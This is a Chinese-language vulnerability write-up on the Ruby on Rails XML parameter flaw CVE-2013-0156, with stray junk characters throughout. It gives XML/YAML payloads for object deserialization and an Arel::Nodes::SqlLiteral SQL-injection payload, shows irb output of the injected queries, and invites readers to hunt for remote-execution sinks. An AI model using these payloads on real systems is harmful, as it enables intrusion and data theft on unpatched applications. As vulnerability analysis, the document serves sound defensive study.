Author: wofeiwo#80sec.com
/ ]9 I% Q& ^- f. v
5 K% ^" J" c- B% M: g注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
8 h- ]/ c+ M+ h
3 ^ s7 g7 d; \近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 3 O: d3 W2 S. W$ j( t" `; ^
5 z( z+ m0 }' D& a5 S# G! o+ c- Q: JCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
: N' d1 O$ w3 @$ G3 i, M
7 }& u. }" @1 I% ]2 c- y& E! ]为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
1 y# h2 [# U: u( P. x
- }+ p, W) y* E0 {/ {<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: H. O* N: C. p( a" T' h" H
# \. F3 B! ]+ d9 ~! d' f2 p- |"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
- \( Y. O: h$ {8 O$ ^+ G! t8 `- Z$ Z) n) W: {* g
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
8 x/ G9 D3 U/ ~6 N+ v, Z
3 ]- a3 ?( A" u7 Q然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
2 M6 ?9 V3 r. y4 j, ^' ]9 o, ]9 c6 M3 D9 L$ J1 S& h
但是等等,还有另一个参数类型,yaml。
1 S E. m; S+ W" K. k$ P. ~% a5 O5 O- s: @% d) V. o
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 ! m& v" g* P* u' D
& Y! A i, T- [6 U) R( l
<test type="yaml">--- !ruby/object:A: W- n& N" C$ d. _$ t4 q% {
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 2 t+ [1 M" i7 k# |5 w( h$ E+ ?
) m' k* `4 Y1 T! s; x如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 3 z% z @$ N7 \9 @+ k4 `( L" |
0 B' a% _& u% U( K( h
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 ) D8 a# U' i7 @. E6 P
) W' m$ B2 B6 D+ `# x) ?
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) ) K& G3 I! F( Q; l4 T+ }4 b" J
( f# |8 \5 n7 H0 W( n# b6 }model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
) k2 z' g' c7 @ p4 x9 h8 _9 l# ]' k' d$ S0 c
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral% G8 k( U* {6 t0 `$ C
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 9 c" L9 \* W$ ]7 }
! ^3 B8 r/ K$ U( f. Tirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 ' N; I8 @2 j, J- s
% d# ]2 P* s4 V! G* y% j |